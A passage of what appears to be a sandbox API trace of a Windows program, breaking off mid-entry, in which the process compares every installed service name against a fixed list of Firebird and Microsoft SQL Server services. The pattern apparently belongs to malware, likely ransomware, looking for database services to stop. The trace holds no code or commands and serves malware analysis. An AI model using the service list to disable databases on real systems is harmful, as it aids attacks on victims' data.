[0101.497] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0101.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0101.498] lstrlenW (lpString="DeviceAssociationService") returned 24 [0101.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0101.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0101.499] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0101.499] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0101.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0101.499] lstrlenW (lpString="Dhcp") returned 4 [0101.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0101.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0101.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0101.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0101.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0101.499] lstrlenW (lpString="Dnscache") returned 8 [0101.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0101.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0101.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0101.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0101.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0101.499] lstrlenW (lpString="DoSvc") returned 5 [0101.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0101.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0101.499] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0101.499] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0101.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0101.499] lstrlenW (lpString="DPS") returned 3 [0101.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0101.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0101.500] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0101.500] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0101.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0101.500] lstrlenW (lpString="DusmSvc") returned 7 [0101.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0101.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0101.500] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0101.500] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0101.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0101.500] lstrlenW (lpString="EventLog") returned 8 [0101.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0101.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0101.500] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0101.500] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0101.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0101.500] lstrlenW (lpString="EventSystem") returned 11 [0102.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0102.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0102.516] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0102.516] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0102.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0102.516] lstrlenW (lpString="FontCache") returned 9 [0102.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0102.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0102.516] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0102.516] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0102.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0102.517] lstrlenW (lpString="gpsvc") returned 5 [0102.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0102.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0102.517] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0102.517] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0102.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0102.517] lstrlenW (lpString="iphlpsvc") returned 8 [0102.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0102.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0102.517] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0102.517] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0102.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0102.517] lstrlenW (lpString="KeyIso") returned 6 [0102.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0102.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0102.517] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0102.517] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0102.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0102.517] lstrlenW (lpString="LanmanServer") returned 12 [0102.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0102.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0102.517] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0102.518] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0102.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0102.518] lstrlenW (lpString="LanmanWorkstation") returned 17 [0102.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0102.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0102.518] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0102.518] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0102.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0102.518] lstrlenW (lpString="lfsvc") returned 5 [0102.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0102.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0102.518] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0102.518] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0102.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0102.518] lstrlenW (lpString="lmhosts") returned 7 [0102.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0102.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0102.518] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0102.518] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0102.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0102.518] lstrlenW (lpString="LSM") returned 3 [0102.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0102.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0102.518] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0102.518] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0102.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0102.519] lstrlenW (lpString="MpsSvc") returned 6 [0102.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0102.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0102.519] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0102.519] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0102.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0102.519] lstrlenW (lpString="NcbService") returned 10 [0102.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0102.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0102.519] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0102.519] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0102.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0102.519] lstrlenW (lpString="netprofm") returned 8 [0102.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0102.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0102.519] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0102.519] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0102.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0102.519] lstrlenW (lpString="NlaSvc") returned 6 [0102.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0102.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0102.519] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0102.519] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0102.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0102.520] lstrlenW (lpString="nsi") returned 3 [0102.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0102.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0102.520] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0102.520] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0102.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0102.520] lstrlenW (lpString="PcaSvc") returned 6 [0102.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0102.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0102.520] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0102.520] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0102.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0102.520] lstrlenW (lpString="PlugPlay") returned 8 [0102.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0102.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0102.523] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0102.523] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0102.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0102.523] lstrlenW (lpString="Power") returned 5 [0102.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0102.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0102.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0102.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0102.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0102.523] lstrlenW (lpString="ProfSvc") returned 7 [0102.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0102.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0102.524] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0102.524] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0102.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0102.524] lstrlenW (lpString="RpcEptMapper") returned 12 [0102.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0102.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0102.524] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0102.524] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0102.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0102.524] lstrlenW (lpString="RpcSs") returned 5 [0102.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0102.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0102.524] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0102.524] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0102.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0102.524] lstrlenW (lpString="SamSs") returned 5 [0102.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0102.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0102.524] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0102.524] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0102.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0102.524] lstrlenW (lpString="Schedule") returned 8 [0102.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0102.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0102.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0102.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0102.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0102.525] lstrlenW (lpString="SecurityHealthService") returned 21 [0102.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0102.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0102.525] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0102.525] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0102.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0102.525] lstrlenW (lpString="SENS") returned 4 [0102.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0102.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0102.525] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0102.525] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0102.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0102.525] lstrlenW (lpString="ShellHWDetection") returned 16 [0102.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0102.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0102.525] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0102.525] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0102.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0102.525] lstrlenW (lpString="Spooler") returned 7 [0102.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0102.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0102.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0102.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0102.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0102.526] lstrlenW (lpString="sppsvc") returned 6 [0102.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0102.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0102.526] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0102.526] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0102.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0102.526] lstrlenW (lpString="SSDPSRV") returned 7 [0102.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0102.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0102.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0102.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0102.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0102.526] lstrlenW (lpString="StateRepository") returned 15 [0102.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0102.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0102.526] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0102.526] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0102.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0102.526] lstrlenW (lpString="SysMain") returned 7 [0102.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0102.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0102.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0102.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0102.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0102.527] lstrlenW (lpString="SystemEventsBroker") returned 18 [0102.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0102.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0102.527] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0102.527] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0102.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0102.527] lstrlenW (lpString="Themes") returned 6 [0102.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0102.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0102.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0102.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0102.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0102.527] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0102.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0102.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0102.527] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0102.527] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0102.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0102.527] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0102.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0102.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0102.527] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0102.527] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0102.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0102.528] lstrlenW (lpString="TokenBroker") returned 11 [0102.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0102.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0102.528] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0102.528] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0102.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TokenBroker") returned -1 [0102.528] lstrlenW (lpString="TrkWks") returned 6 [0102.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0102.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0102.528] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0102.528] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0102.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0102.528] lstrlenW (lpString="UserManager") returned 11 [0102.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UserManager") returned -1 [0102.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UserManager") returned -1 [0102.528] lstrcmpiW (lpString1="sqlwriter", lpString2="UserManager") returned -1 [0102.528] lstrcmpiW (lpString1="mssqlserver", lpString2="UserManager") returned -1 [0102.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UserManager") returned -1 [0102.528] lstrlenW (lpString="UsoSvc") returned 6 [0102.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UsoSvc") returned -1 [0102.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UsoSvc") returned -1 [0102.528] lstrcmpiW (lpString1="sqlwriter", lpString2="UsoSvc") returned -1 [0102.528] lstrcmpiW (lpString1="mssqlserver", lpString2="UsoSvc") returned -1 [0102.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UsoSvc") returned -1 [0102.529] lstrlenW (lpString="VaultSvc") returned 8 [0102.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VaultSvc") returned -1 [0102.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VaultSvc") returned -1 [0102.529] lstrcmpiW (lpString1="sqlwriter", lpString2="VaultSvc") returned -1 [0102.529] lstrcmpiW (lpString1="mssqlserver", lpString2="VaultSvc") returned -1 [0102.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VaultSvc") returned -1 [0102.529] lstrlenW (lpString="Wcmsvc") returned 6 [0102.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Wcmsvc") returned -1 [0102.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Wcmsvc") returned -1 [0102.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Wcmsvc") returned -1 [0102.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Wcmsvc") returned -1 [0102.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Wcmsvc") returned -1 [0102.529] lstrlenW (lpString="WdiServiceHost") returned 14 [0102.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0102.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0102.529] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0102.529] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0102.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0102.529] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0102.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0102.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0102.529] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0102.529] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0102.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0102.529] lstrlenW (lpString="Winmgmt") returned 7 [0102.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0102.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0102.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0102.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0102.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0102.530] lstrlenW (lpString="WpnService") returned 10 [0102.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnService") returned -1 [0102.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnService") returned -1 [0102.530] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnService") returned -1 [0102.530] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnService") returned -1 [0102.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnService") returned -1 [0102.530] lstrlenW (lpString="wuauserv") returned 8 [0102.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0102.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0102.530] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0102.530] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0102.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0102.530] lstrlenW (lpString="CDPUserSvc_13047") returned 16 [0102.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPUserSvc_13047") returned 1 [0102.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPUserSvc_13047") returned 1 [0102.530] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPUserSvc_13047") returned 1 [0102.530] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPUserSvc_13047") returned 1 [0102.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPUserSvc_13047") returned 1 [0102.530] lstrlenW (lpString="OneSyncSvc_13047") returned 16 [0102.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="OneSyncSvc_13047") returned -1 [0102.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="OneSyncSvc_13047") returned -1 [0102.531] lstrcmpiW (lpString1="sqlwriter", lpString2="OneSyncSvc_13047") returned 1 [0102.531] lstrcmpiW (lpString1="mssqlserver", lpString2="OneSyncSvc_13047") returned -1 [0102.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="OneSyncSvc_13047") returned 1 [0102.531] lstrlenW (lpString="WpnUserService_13047") returned 20 [0102.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnUserService_13047") returned -1 [0102.531] 